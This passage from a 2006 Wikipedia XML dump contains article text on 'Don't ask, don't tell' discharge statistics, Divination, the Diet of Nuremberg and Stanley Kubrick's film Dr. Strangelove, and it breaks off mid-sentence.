&lt;tr&gt;&lt;td&gt;2000&lt;/td&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;104&lt;/td&gt;&lt;td&gt;358&lt;/td&gt;&lt;td&gt;573&lt;/td&gt;&lt;td&gt;177&lt;/td&gt;&lt;td&gt;1231&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2001*&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;1273&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2002*&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;906&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2003*&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;?&lt;/td&gt;&lt;td&gt;787&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;nowiki&gt;*&lt;/nowiki&gt; Breakdown of discharges by service branch not available

Additionally, in February 2005, the [[Government Accountability Office]] released estimates on the cost of the policy to the U.S. government, totalling nearly $200 million since 1993. 

==Military Readiness Enhancement Act==
On [[April 5]], [[2005]], [[Ileana Ros-Lehtinen]], a Republican member of the House [[Subcommittee on National Security, Emerging Threats and International Relations]] became a cosponsor of the bill, joining [[Christopher Shays]] of [[Connecticut]] and [[Jim Kolbe]] of [[Arizona]] (both House Republicans, Kolbe is openly gay) and 70 Democrats in sponsoring the [[Military Readiness Enhancement Act]], which would end Don't Ask, Don't Tell.  &quot;We've tried the policy. I don't think it works. And we've spent a lot of money enforcing it,&quot; she said.  &quot;We investigate people. Bring them up on charges. Basically wreck their lives... People who've signed up to serve our country. We should be thanking them.&quot;  She called arguments against gay people serving openly &quot;the same kind of talk we heard about women [and blacks].&quot;

&quot;The odds [of passage] are very small, unless the top military brass would embrace it,&quot; [[Robert Wexler]], a Florida Democrat said, comparing the odds to the chances of snow in South Florida.  Still, Ros-Lehtinen says she will always support the bill. [http://www.kansascity.com/mld/kansascity/news/nation/11360250.htm]

==Criticism==
[[Judith Butler]] argues that the ban displays a paranoid nature which conflates [[speech act|speech]] and conduct: &quot;the statement, then, 'I am a homosexual,' is fabulously misconstrued...A claim that is, in the first instance, reflexive, that attributes a status to only oneself, is taken to be solicitous...to hear the utterance is to 'contract' the sexuality to which it refers...This is a statement construed as a solicitation; a constative taken as an interrogative; a self-ascription taken as an address.&quot; (Butler {{ref|Butler}} 113)

==Situation outside the United States==
{{main|Sexual orientation and military service}}

Most other Western military forces have now removed policies excluding individuals of other sexual orientations (with strict policies on [[sexual harassment]]).



==See also==
* [[Barry Winchell]] - American soldier who was killed by his fellows.  '''Many believe that his death was related to a homophobic climate created by the don't ask, don't tell policy. '''{{fact}}

==References==
* {{note|Butler}} Butler, Judith (1997). ''Excitable Speech: A Politics of the Performative''. New York: Routledge. ISBN 0415915880.
* Johansson, Warren and William A Percy. [http://williamapercy.com/pub-Outing.htm ''Outing:  Shattering the Conspiracy of Silence.'']  Harrington Park Press, 1994.
* Shilits, Randy (1994). ''[[Conduct Unbecoming: Gays and Lesbians in the US Military]]''.

==External links==
* [http://www.law.cornell.edu/uscode/html/uscode10/usc_sec_10_00000654----000-.html 10 U.S.C. § 654. Policy concerning homosexuality in the armed forces]
* [http://www.sldn.org Servicemembers Legal Defense Network]
* [http://www.california.com/~rathbone/links003.htm Chronology of Don't Ask, Don't Tell]
* [http://www.gaymilitary.ucsb.edu/ Center for the Study of Sexual Minorities in the Military]
* [http://www.cmrlink.org/hmilitary.asp Center for Military Readiness page on Gays in the Military]
* [http://www.angelfire.com/oh4/faggot/war.html A New Kind of War, An Old Kind of Prejudice by Brian W. Fairbanks]

[[Category:Bill Clinton]]
[[Category:United States military policies]]
[[Category:History of LGBT civil rights in the United States]]
[[Category:Political slogans]]
[[Category:Issue in the Culture Wars]]

[[no:Don't ask, don't tell]]
[[zh:不问，不说]]</text>
    </revision>
  </page>
  <page>
    <title>Divination</title>
    <id>8691</id>
    <revision>
      <id>42031088</id>
      <timestamp>2006-03-03T09:13:39Z</timestamp>
      <contributor>
        <username>Zserghei</username>
        <id>464297</id>
      </contributor>
      <minor />
      <comment>+ ru</comment>
      <text xml:space="preserve">:''This article is about the religious practice of divination. For other uses, see [[Divination (disambiguation)]].''

[[Image:Rhumsiki crab sorceror.jpg|thumb|300px|right|This man in [[Rhumsiki]], [[Cameroon]], tells the future by interpreting the changes in position of various objects as caused by a fresh-water crab through ''nggàm''[http://lucy.ukc.ac.uk/Fdtl/Spider/].]]

'''Divination''' is the practice of ascertaining information from [[supernatural]] sources.  If a distinction is to be made with [[fortune-telling]], divination has a formal or ritual and often social character, usually in a [[religion|religious]] context; while fortune-telling is a more everyday practice for personal purposes. Divination is often dismissed by [[skeptic]]s as being mere [[superstition]]: in the [[2nd century]], [[Lucian]] devoted a witty essay to the career of a charlatan, ''Alexander the false prophet'', trained by &quot;one of those who advertise enchantments, miraculous incantations, charms for your love-affairs, visitations for your enemies, disclosures of buried treasure, and successions to estates&quot; [http://www.tertullian.org/rpearse/lucian/lucian_alexander.htm], though most Romans believed in dreams and charms.  However, advocates say there is plenty of [[anecdotal evidence]] for the efficacy of divination.  Divination is a universal cultural phenomenon which anthropologists have observed as being present in many [[Anthropology of religion|religions]] and cultures in all ages up to the present day. However, in the [[Bible]] most forms of divination are strictly forbidden by [[God]].

[[Science|Scientific research and methods]] have made it possible to predict future events with some success, e.g., [[eclipse|eclipses]], [[meteorology|weather forecasts]] and [[volcanic]] eruptions.  However, this is not divination.  Strictly speaking, divination assumes the influence of some supernatural force or fate, whereas scientific predictions are made from an essentially mechanical, impersonal world-view and rely on empirical [[laws of nature  So, as an operational definition, divination would be all methods of prognostication that have not been shown to be effective using scientific research.

Beyond mere explanations for anecdoctal evidence, there are some serious theories of how divination might work.  One such theory is rooted in the nature of the unconscious mind, a theory which has some empirical scientific basis. Based on this theory, divination is the process by which messages from the unconscious mind are decoded.  The belief in a supernatural agency or [[occult]] force as the source of these messages is what distinguishes this theory from a scientific explanation.

[[Julian Jaynes]] categorized divination according to the following types:

* '''Omens and omen texts.''' &quot;The most primitive, clumsy, but enduring method...is the simple recording of sequences of unusual or important events.&quot; (1976:236) Chinese history offers scrupulously documented occurrences of strange births, the tracking of natural phenomena, and other data. Chinese governmental planning relied on this method of forecasting for long-range strategy. It is not unreasonable to assume that modern scientific inquiry began with this kind of divination; [[Joseph Needham]]'s work considered this very idea.

* '''Sortilege.''' This consists of the casting of lots whether with sticks, stones, bones, beans, or some other item. Modern playing cards and board games developed from this type of divination.

* '''Augury.''' Divination that ranks a set of given possibilities. It can be qualitative (such as shapes, proximities, etc.) [[Dowsing]] (a form of [[rhabdomancy]]) developed from this type of divination. The [[Roman Republic|Romans]] in classical times used [[Etruscan civilization|Etruscan]] methods of augury such as [[hepatoscopy]] (actually a form of extispicy). [[haruspex|Haruspices]] examined the livers of sacrificed animals.

* '''Spontaneous.''' An unconstrained form of divination, free from any particular medium, and actually a generalization of all types of divination. The answer comes from whatever object the diviner happens to see or hear. Some Christians and members of other religions use a form of [[bibliomancy]]: they ask a question, rifle the pages of their holy book, and take as their answer the first passage their eyes light upon. Other forms of spontaneous divination include reading [[aura]]s and [[New Age]] methods of [[Feng Shui]] such as &quot;intuitive&quot; and Fuzion.

By far one of the most popular methods of divination is [[Astrology]], typically categorized as Vedic Astrology ([[Jyotish]]), [[Western Astrology]], and [[Chinese Astrology]], though besides these main three branches many other cultures also have or have had their own forms of Astrology in the past. 

== Common methods of divination ==
''For a more complete list, see [[Methods of divination]]''

* [[Astrology]] (by celestial bodies)
* [[Cartomancy]] (by cards, e.g., playing cards, tarot cards, and non-tarot oracle cards; see also Taromancy)
* [[Cheiromancy]], or palmistry (by palms) where the grooves of the hand are interpreted as signs.
* [[Crystallomancy]]/[[Scrying]] (by crystals or other reflecting objects)
* [[Extispicy]] (from the exta of sacrificed animals)
* [[Geomancy]] (by earth), includes [[Feng Shui]] divination
* [[Graphology]] (by handwriting)
* [[I Ching divination]] (ancient Chinese divination using [[I Ching]]): (However, as performed by some diviners with heavy reliance on an accompanying I Ching manual, this is, in effect, also a form of [[Bibliomancy]]/[[Stichomancy]])
* [[Numerology]] (by numbers)
* [[Oneiromancy]] (by [[dreams]])
* [[Onomancy]] (by names)
* [[Ouija]] board divination
* [[Palmistry]] (by palm inspection)
* [[Phrenology]] (by the shape of one's head)
* [[Pyromancy]], or pyroscopy (by fire)
* [[Runecasting]] (by [[Runes]])
* [[Scatomancy]]  (by droppings, usually animal)
* [[Taromancy]] (by specially designed cards: [[Tarot]]; see also Cartomancy)

==See also==
* [[Anthropology of religion]]
* [[Axinomancy]]
* [[Bone divination]]
* [[Dream interpretation]]
* [[Esotericism]]
* [[Futurology]]
* [[Guru]]
* ''[[I Ching]]''
* [[Ifá]]
* [[New Age]]
* [[Nostradamus]]
* [[Occultism]]
* [[Omen]] (or [[portent]])
* [[Prophet]]
* [[Runecasting]]
* [[Scrying]]
* [[Tarot]]
* [[Western mystery tradition]]

==For further reading==

===Popular===
* Robert Todd Carroll (2003). ''The Skeptic's Dictionary''. Wiley.
* [[Lon Milo Duquette]] (2005). ''The Book of Ordinary Oracles''. Weiser Books.
* [[Clifford A. Pickover]] (2001). ''Dreaming the Future: The Fantastic Story of Prediction''. Prometheus.
* Eva Shaw (1995). ''Divining the Future''. Facts on File.
* The Diagram Group (1999). ''The Little Giant Encyclopedia of Fortune Telling''. Sterling Publishing Company, Inc.

===Academic===
*E. E. Evans-Pritchard, ''Witchcraft, oracles, and magic among the Azande'' (1976)
*Toufic Fahd, ''La divination arabe; études religieuses, sociologiques et folkloriques sur le milieu natif d&amp;#8217;Islam'' (1966)
*Michael Loewe and Carmen Blacke, eds. ''Oracles and divination'' (Shambhala/Random House, 1981) ISBN 0877732140
*J. P. Vernant, ''Divination et rationalité'' (1974)

==External links==
{{wiktionary}}
*[http://www.isidore-of-seville.com/astdiv Ancient Astrology and Divination on the Web] , resources on Greco-Roman and Mesopotamian divination
*[http://www.ancientlibrary.com/divination/ W. R. Halliday, ''Greek Divination''] (1913), a complete scanned editon of the most recent general treatment of Greek divination
*[http://www.newadvent.org/cathen/05048b.htm 1913 Catholic Encyclopedia: Divination]
*[http://www.iranian.com/Sep96/Iranica/IranicaDivine/IranicaDivine.html Encyclopedia Iranica: Divination]
*[http://tim.maroney.org/Essays/Theory_of_Divination.html Theory of Divination] by Tim Maroney, exploring different possible mechanisms

[[Category:Divination|*]]
[[Category:Prediction]]

[[da:Divination]]
[[de:Hellsehen]]
[[et:Ennustamine]]
[[fr:Divination]]
[[it:Divinazione]]
[[ja:占い]]
[[nl:Wichelarij]]
[[pt:Divinação]]
[[ru:Гадания]]
[[zh:占卜]]</text>
    </revision>
  </page>
  <page>
    <title>Doctor Strangelove, or How I Learnt to Stop Worrying and Love the Bomb</title>
    <id>8692</id>
    <revision>
      <id>15906655</id>
      <timestamp>2002-12-27T23:39:29Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb]]</text>
    </revision>
  </page>
  <page>
    <title>Diet of Nuremberg</title>
    <id>8693</id>
    <revision>
      <id>24677650</id>
      <timestamp>2005-10-03T22:02:28Z</timestamp>
      <contributor>
        <username>Markus.t-nbg</username>
        <id>473689</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Diet of Nuremberg''' is often called the '''Imperial Diet at [[Nuremberg]]'''.

There were several of them because, by the Basic Law for the Empire of [[1356]], each [[Holy Roman Emperor]] had to hold his first [[diet (assembly)|diet]] in Nuremberg after his election. There were also a number of other diets held.

[[1211]] elected [[Frederick II, Holy Roman Emperor|Frederick II]] of Hohenstaufen emperor.

[[1356]] [[Charles IV, Holy Roman Emperor|Charles IV]] issued his ''[[Golden Bull]]'' - fixing how the German emperors were elected.

Important to [[Protestantism]] (and the Turks) were the:
:[[1522]] - 1st Diet of Nuremberg
:[[1524]] - 2nd Diet of Nuremberg
:[[1532]] - 3rd Diet of Nuremberg

[[Category:Nuremberg]]</text>
    </revision>
  </page>
  <page>
    <title>Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb</title>
    <id>8695</id>
    <revision>
      <id>42139878</id>
      <timestamp>2006-03-04T02:08:25Z</timestamp>
      <contributor>
        <username>Bobo55</username>
        <id>352641</id>
      </contributor>
      <minor />
      <comment>/* Popular Culture References */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Dr. Strangelove &lt;BR \&gt;or: How I Learned to Stop Worrying and Love the Bomb |
  image          = drstrangeloveCover.jpg |
  director       = [[Stanley Kubrick]] |
  producer       = [[Stanley Kubrick]] |
  writer         = [[Terry Southern]], [[Stanley Kubrick]] &lt;BR \&gt; (based on the novel ''[[Red Alert (book)|Red Alert]]'' by [[Peter George]]) &lt;BR /&gt; |   
  starring       = [[Peter Sellers]] &lt;BR \&gt; [[George C. Scott]] &lt;BR \&gt; [[Sterling Hayden]] &lt;BR \&gt; [[Keenan Wynn]] &lt;BR /&gt; [[Slim Pickens]] |
  distributor    = [[Columbia Pictures]]|
  released   = [[January 29]], [[1964]] |
  runtime        = 94 min. |
  language = English |
  music          = |
  awards         = |
  budget         = $1,800,000 |
  imdb_id        = 0057012 |
|}}
{{Redirect|Strangelove}}
'''''Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb''''' is a [[1964]] [[Stanley Kubrick]] [[film]] based loosely upon the straight-faced thriller novel ''[[Red Alert (book)|Red Alert]]'' by [[Peter George]]. Refashioned as a [[black comedy]] from the source material by screenwriter [[Terry Southern]], ''Dr. Strangelove's'' subject matter [[satire|satirizes]] the fragile nature of the [[Cold War]] conflict and the doctrine of [[mutual assured destruction|mutually assured destruction]]. The film opens at the fictional Burpelson Air Force Base, where the insane [[General]] Jack D. Ripper has just ordered a preemptive [[nuclear warfare|nuclear attack]] on the [[Soviet Union]]. The rest of ''Dr. Strangelove'' follows the [[US President|American President]] and his advisors, the [[Joint Chiefs of Staff]], and a [[Royal Air Force|RAF]] officer as they all scramble to recall Ripper's bomb-wing in order to prevent a nuclear [[Apocalypse]].   
==Cast and crew==
''Dr. Strangelove'' stars British actor/comedian [[Peter Sellers]], who actually improvised much of his dialogue during filming. Sellers plays three roles:
* '''Group Captain Lionel Mandrake'''&amp;mdash;the sane, well-meaning, &quot;by-the-book&quot; [[United Kingdom|British]] exchange officer with an upper-class [[English accent]]. It is said that Sellers' experience mimicking his uptight superiors as an [[Royal Air Force|RAF]] airman during [[World War II]] aided him in creating this character. 

* '''President Merkin Muffley'''&amp;mdash;the [[Adlai Stevenson]]-esque American [[Commander in Chief]]&amp;mdash;a decent, but flustered and spineless character. The President's first and last name each crudely imply that he is a ''[[pussy]]'' by nature (&quot;merkin&quot; and &quot;muff&quot; are both associated with the female genitalia). This fundamental quality becomes evident during the famous Hotline scene, in which he seems overly cautious in dealing with [[Soviet Premier]] Dmitri Kisof. For the role, Sellers flattened his natural English accent to sound like an American [[Midwestern United States|Midwesterner]] (another reference to Stevenson, who was from [[Illinois]]), and faked [[common cold|cold]] symptoms to further add to the character's inherent weakness. 

* '''Dr. Strangelove'''&amp;mdash;the sinister German title-character&amp;mdash;an amalgamation of [[RAND Corporation]] strategist [[Herman Kahn]], [[National Socialist German Workers Party|Nazi]]-turned-[[NASA]] rocket scientist [[Wernher von Braun]], &quot;father of the [[hydrogen bomb]]&quot; [[Edward Teller]], and [[John F. Kennedy|JFK]]'s [[Secretary of Defense]], [[Robert McNamara]]. [[Henry Kissinger]] has also been cited as one of the Strangelove character's influences. However, this assertion is highly unlikely, as Kissinger was not a prominent figure in American politics at the time of the film's production. Dr. Strangelove serves as President Muffley's scientific advisor in the War Room, presumably making use of prior expertise as a Nazi physicist. The accent used by Sellers is reportedly based on that of [[Weegee]] (pseudonymn of [[Austrian]] photographer [[Arthur Fellig]]), who was hired by Kubrick as a special effects consultant. Throughout the film, the speeches made by the character of Dr. Strangelove are interrupted by his erratic fits of [[alien hand syndrome]]. At one point, Strangelove's hand reaches out in an attempt to strangle his neck; at another it thrusts itself out in a [[Hitler salute|Nazi salute]]. Strangelove's sinister black glove was actually Kubrick's; Sellers saw Kubrick using it to handle the hot lights on the set one day and thought it would be a good addition to his costume.

At the start of ''Dr. Strangelove'' 's production, Sellers was set to play a fourth role; that of Air Force Major T. J. &quot;King&quot; Kong, the [[B-52 Stratofortress]] bomber captain. However, Sellers fractured his leg during filming, and was prevented from playing the role because of a technical constraint that would have confined him to cramped space of the cockpit set. It has been suggested that Sellers, who was concerned about correctly reproducing the Texan accent required, contrived the injury&amp;mdash;or at least exaggerated it to make it seem worse than it really was. As fate would have it, [[Slim Pickens]], a real-life Texan, was quickly tapped to replace Sellers as Major Kong. It is no coincidence that his performance turned out so authentic; fellow actor James Earl Jones recalls, &quot;He was Major Kong on and off the set&amp;mdash;he didn't change a thing&amp;mdash;his temperament, his language, his behavior.&quot; For the entire course of filming, Pickens was apparently unaware that ''Strangelove'' was to be a comedy, and instead played the role straight, thereby adding to the humor. Kubrick biographer John Baxter further explains in the documentary &quot;Inside the Making of Dr. Strangelove&quot;: &lt;blockquote&gt;As it turns out, Slim Pickens had never left the United States. He had to hurry and get his first passport. He arrived on the set, and somebody said, &quot;Gosh, he's arrived in costume!,&quot; not realizing that that's how he always dressed… With the cowboy hat and the fringed jacket and the cowboy boots&amp;mdash;and that he wasn't putting on the character&amp;mdash;that's the way he talked.&lt;/blockquote&gt; 

Also appearing in the film is [[George C. Scott]] as General Buck Turgidson, a [[strategic bombing]] enthusiast who serves as the thinly-disguised avatar of General [[Curtis LeMay]], the Air Force Chief of Staff who advocated a pre-emptive strike against bases in [[Cuba]] during the [[Cuban Missile Crisis|Missile Crisis]] of 1962, against Kennedy's better judgement. [[Sterling Hayden]] plays General Jack D. Ripper; a young [[James Earl Jones]] plays bombardier Lieutenant Lothar Zogg; [[Keenan Wynn]] plays a Colonel &quot;Bat&quot; Guano, and [[Tracy Reed]] plays Gen. Turgidson's seductive secretary Miss Scott, the film's only female character.

Photography: [[Gilbert Taylor]]

Editor: [[Anthony Harvey]]

Production design: [[Ken Adam]]

Special effects: [[Wally Veevers]]

==Synopsis==
{{spoiler}}
Jack D. Ripper, a delusional [[US Air Force]] general, plans to strike the [[Soviet Union]] with a nuclear [[knockout blow]] in order to thwart a [[Communist]] conspiracy which threatens to &quot;sap and impurify&quot; the &quot;precious bodily fluids&quot; of the American people with [[water fluoridation|fluoridated water]].  Exceeding his authority, he convinces everyone at Burpelson Air Force Base that the [[United States]] is in a &quot;shooting war&quot; with the [[Soviet Union]], and orders the 843rd Bomb Wing (which was in the air at the time as part of a training exercise called &quot;Operation Dropkick&quot;) past its [[fail-safe]] points and into [[Russia]]. The provisions of a military protocol known as &quot;Plan R&quot; ('R for Robert') allows lower-echelon commanders to authorize the use of nuclear weapons without Presidential authority during a &quot;time of conflict.&quot; It was apparently put in place after a certain Senator by the name of Buford pointed out that the nuclear deterrence plan of the United States lacked credibility, in that if only the President could authorize a nuclear strike, retaliation could be avoided if the USSR succeeded in wiping him out in the first strike.

From the script:
:'''''Ripper:''''' Mandrake, I suppose it never occurred to you that while we're chatting here so enjoyably, a decision is being made by the President and the Joint Chiefs in the war room at the Pentagon. And when they realize there is no possibility of recalling the wing, there will be only one course of action open: total commitment... Mandrake, do you recall what [[Georges_Clemenceau|Clemenceau]] once said about war?

:'''''Mandrake:''''' No. I don't think I do sir, no.

:'''''Ripper:''''' He said war was too important to be left to the Generals. When he said that, fifty years ago, he might have been right. But today, war is too important to be left to politicians. They have neither the time, the training, nor the inclination for strategic thought. I can no longer sit back and allow communist infiltration, communist indoctrination, communist subversion, and the international communist conspiracy to sap and impurify all of our precious bodily fluids.

General Ripper is unaware that the Soviets have constructed a so-called &quot;[[doomsday device]]&quot; which automatically detects any nuclear attack on the Soviet Union, whereupon it destroys all life on Earth via massive [[nuclear fallout]]. Dr. Strangelove explains to the staff assembled in the American war room how the device is a natural extension to the Cold War stratagem of [[mutually assured destruction]] as a deterrent to an actual nuclear exchange. Moreover, the machine cannot be turned off as this would mitigate its value as a deterrent.
[[Image:warroom.jpg|250px|right|thumb|The iconic Pentagon War Room set.]][[Image:strangelove123.jpg|250px|right|thumb|Dr. Strangelove delivering his &quot;deterrence&quot; oration.]]
[[Image:Slim-pickens riding-the-bomb.jpg|250px|right|thumb|Major Kong, the captain of the &quot;Leper Colony,&quot; riding the bomb to nuclear oblivion.]]
As a result, the American government cooperates with the Soviets to shoot the General's planes down until they can be recalled. As American troops attack Ripper's base, Ripper commits suicide. The clueless commander of the unit attacking the base, Colonel &quot;Bat Guano&quot; believes that British [[Group Captain]] Lionel Mandrake, an officer participating in an &quot;exchange program&quot; with the USAF, is leading a mutiny of &quot;deviated preverts&quot; against General Ripper (He fails to recognise the RAF uniform as that of an allied nation), but he ultimately relents and helps Mandrake call the President and inform him of the recall code, which he deduces from Ripper's [[doodle]]s.

Unfortunately, one [[B-52 Stratofortress|B-52]] (&quot;The Leper Colony&quot;) was damaged, but not destroyed, by a Soviet [[anti-aircraft missile]].  The missile hit triggers the self-destruct system of the aeroplane's radio (presumably designed to prevent the CRM114 code machine from being reverse-engineered should it be captured), and with no radio the aircraft cannot be called back; and with a fuel leak, it also cannot reach its intended target, the [[Laputa]] Missile Complex, where the remaining Soviet defenses have been concentrated.  So the plane continues its mission, evading the combined efforts of both the US and the USSR to stop it, to drop its [[nuclear bomb|nuclear payload]] on a new Soviet target (now selecting the Kodlosk ICBM complex, not the plane's secondary target but still within the plane's range), which will in turn set off the doomsday machine. The bay doors jam closed, and in trying to open them, the pilot of the B-52, Major &quot;King&quot; Kong (in one of [[Hollywood]]'s most memorable film moments) inadvertently ends up riding one of the bombs down to global destruction — with Kong cheering all the way. Kong straddles the bomb, gripping it with one hand and waving his [[cowboy hat]] in the air with his other in an homage to [[rodeo]] [[bullriding]] technique.

The doomsday device is apparently activated.  According to the Soviet ambassador, life on Earth's surface will be extinct within ten months; Dr. Strangelove recommends to the President that a group of about 100,000 humans be relocated to deep in a mine shaft, where the nuclear fallout cannot reach, so the Earth can be repopulated. Because of obvious limits to space in the mines, Strangelove suggests that a ratio of &quot;ten females to each male&quot;. The chosen women would be selected based on their youth and beauty (to ensure the males would want to impregnate them), while the chosen males would be selected based on their intellectual and physical strength. Turgidson rants that they &quot;cannot allow a mine shaft gap&quot; (spoofing the [[missile gap]] fears) and begins planning a war for when they emerge in a hundred years. In the concluding scenes, a visibly excited Strangelove bolts out of his wheelchair shouting &quot;Mein Führer, I can walk!&quot; a mere second before the doomsday bombs begin exploding.
{{endspoiler}}

==Themes==
Although it is a [[comedy]], ''Dr. Strangelove'' is also suspenseful and engrossing and not the least &quot;madcap&quot;.  Two major scenes of action are the immense War Room dominated by the Big Board showing the location of every American bomber in the world, and the meticulous B-52 interior.  The remainder is set in General Ripper's headquarters at Burpleson Air Force Base.

[[The Pentagon]] did not cooperate in making the film, as it did in making ''[[Strategic Air Command (film)|Strategic Air Command]]'' ([[1955]]). Because the B-52 was state of the art in the 1960s, its cockpit was off limits to the film crew; the cockpit was reconstructed by educated guesses made in comparing the interior of a [[B-29 Superfortress]]'s cockpit and a single photo of a [[B-52 Stratofortress]]'s cockpit to the geometry of the B-52's fuselage; it was so accurate that the [[Department of Defense]] suspected the film crew of sneaking into a B-52 and taking pictures.

''Dr. Strangelove'' takes passing shots at all sorts of [[Cold War]] attitudes, but focuses its satire on the theory of [[mutual assured destruction]] (MAD), in which each side is supposed to take comfort in the fact that a nuclear war would be a cataclysmic disaster. [[Herman Kahn]] in his 1960 ''On Thermonuclear War'' used the concept of a doomsday machine in order to mock mutually assured destruction &amp;mdash; in effect, Kahn argued, both sides already had a sort of doomsday machine. Kahn was a leading critic of American strategy during the 1950s and urged Americans to plan for a limited nuclear war.  Kahn became one of the architects of the MAD doctrine in the 1960s.  The prevailing thinking that a nuclear war was inherently unwinnable and suicidal was illogical to the physicist turned strategist.  Kahn came off as cold and calculating; for instance, in his works, he estimated how many human lives the United States could lose and still rebuild economically. This attitude is reflected in Turgidson's remark to the president about the outcome of a pre-emptive nuclear war: &quot;Now I'm not saying we wouldn't get our hair mussed, but I am saying no more than 10 to 20 million killed. Tops!&quot; In the War Room, Turgidson also has a binder which is labeled “World Targets in [[Megadeath|Megadeaths]]”.

It satirizes the conventions of Hollywood war movies, as well as the curious &quot;[[red telephone]]&quot; relationship between heads of state, in which a first-name intimacy competes with a culturally conditioned dislike for the other and for the entire political system which he heads:
:&quot;I'm sorry, too, Dimitri. ... I'm very sorry.  ... ''All right'', you're sorrier than I am, but I am as sorry as well. ... I am as sorry as you are, Dimitri! Don't say that you're more sorry than I am, because I'm capable of being just as sorry as you are. ... So we're both sorry, all right?! ... All right.&quot; (Dialog improvised by Sellers)

The title character, Dr. Strangelove, is a comment on the US government's morally questionable use of Nazi scientists in programs such as nuclear weapons research.  Dr. Strangelove, played by Peter Sellers,  retains a thick German accent, and mistakenly calls the President &quot;Mein Führer&quot; on more than one occasion.  His appearance echoes the villains of the [[Fritz Lang]] era in 1920s Germany whose sinister and evil characters were usually offset by some disability. Sellers improvised Dr. Strangelove's lapse into the Nazi salute, borrowing one of Kubrick's black gloves for the uncontrollable hand that makes the [[Sieg heil]] gesture.  Sellers found the director's gloves that Kubrick perpetually wore to avoid direct contact with hot lights to be especially menacing.  The thought of the new, post-war centrally controlled, underground, male-dominated society with its members specially selected from the population is evocative of Nazi visions and animates Dr. Strangelove at the end.

Also, the film is sprinkled with many sly sex jokes.  For example: the long opening scene of a bomber being fueled mid-flight from a long pipe, accompanied by romantic music; the classic image of Slim Pickens straddling the nuclear bomb in ecstasy; Ripper's obsession with &quot;precious bodily fluids&quot; resulting from an incident of [[impotence]]; and the final montage of multiple nuclear explosions.  Foreshadowing the idea of &quot;missile envy&quot; in later decades, it suggests that the Cold War's obsession with nuclear weapons might at least partially be a silly and immature contest of perceived sexual prowess and [[Phallus|phallic]] fixations.

The movie is based upon the [[Cold War]] thriller novel ''[[Red Alert (book)|Red Alert]]''. Stanley Kubrick had originally wanted to film the story as a serious drama.  However, he explained during interviews that the comedy inherent in the idea of MAD became apparent as he was writing the first draft of the film's script. Kubrick stated:

:&quot;My idea of doing it as a nightmare comedy came in the early weeks of working on the screenplay. I found that in trying to put meat on the bones and to imagine the scenes fully, one had to keep leaving out of it things which were either absurd or paradoxical, in order to keep it from being funny; and these things seemed to be close to the heart of the scenes in question.&quot; &amp;mdash; ''Macmillan International Dictionary of Films and Filmmakers'', vol. 1, p. 126

==Ending==
{{spoiler}}
The planned original ending to the film was a chaotic pie-fight scene with the Soviet ambassador in the war room.  It was cut from the final print and the film ends with Strangelove stepping out of his wheelchair (saying, &quot;Mein Führer, I can walk!&quot;) right before a montage of nuclear explosions, accompanied by [[Vera Lynn]]'s singing of the WWII standard &quot;[[We'll Meet Again (song)|We'll Meet Again]]&quot;. Reportedly, [[Spike Milligan]] was responsible for suggesting the montage ending.
{{endspoiler}}

==Critical views==
''Dr. Strangelove'' is currently #18 on the [[Internet Movie Database]]'s list of top 250 films, and was also listed as #26 on the [[American Film Institute]]'s 100 Years, 100 Movies and #3 on its 100 Years, 100 Laughs. Sellers' line &quot;Gentlemen, you can't fight in here! This is the war room!&quot; made #64 on AFI's 100 Years, 100 Quotes. The film has also been selected for preservation in the United States [[National Film Registry]]. In [[2000]], readers of ''[[Total Film]]'' magazine voted it the 24th greatest comedy film of all time.

Roger Ebert has ''Dr. Strangelove'' in his list of Great Movies[http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=%2F19990711%2FREVIEWS08%2F907110301%2F1023], saying it's &quot;arguably the best political satire of the century.&quot;

== ''Fail-Safe'' and ''Seven Days in May''==
''Dr. Strangelove'' was based on the paperback novel ''[[Red Alert (book)|Red Alert]]'' ([[1958]]) by [[Peter George]]. George collaborated on the screenplay with Kubrick and [[satire|satirist]] [[Terry Southern]]. ''Red Alert'' was far more solemn in tone than its film version; the character of Dr. Strangelove never even existed on its pages. The main plot and technical elements, however, were quite similar. A [[novelization]] of the actual film, rather than a re-print of the original novel, was later penned by Peter George.

During the filming of ''Dr. Strangelove'', Stanley Kubrick learned that [[Fail-Safe]], a project with a similar theme, was being produced. Although [[Fail-Safe]] was to be an ultra-realistic thriller, Kubrick feared that its overall plot resemblances would damage ''Strangelove'''s box office run, especially if were to be released first. What worried him the most about [[Fail-Safe]] was that it boasted an acclaimed director ([[Sidney Lumet]]) and first-rate dramatic actors ([[Henry Fonda]] as the American President and [[Walter Matthau]] as the bold civilian advisor to the Pentagon, Professor Groeteschele). As an ever-cunning strategist, Kubrick decided that it would be in ''Strangeloves'' 's best interest for a legal wrench to be thrown into the gears of [[Fail-Safe]]'s production efforts. Director Sidney Lumet recalls in the documentary, &quot;Inside the Making of Dr. Strangelove&quot;: &lt;blockquote&gt;We started casting. Fonda was already set... which of course meant a big commitment in terms of money. I was set, Walter [Bernstein, the screenwriter] was set... And suddenly, this lawsuit arrived, filed by Stanley Kubrick and Columbia Pictures.&lt;/blockquote&gt; Kubrick tried to halt production on [[Fail-Safe]] by arguing that its own 1960 source novel of the same name had been plagiarized from 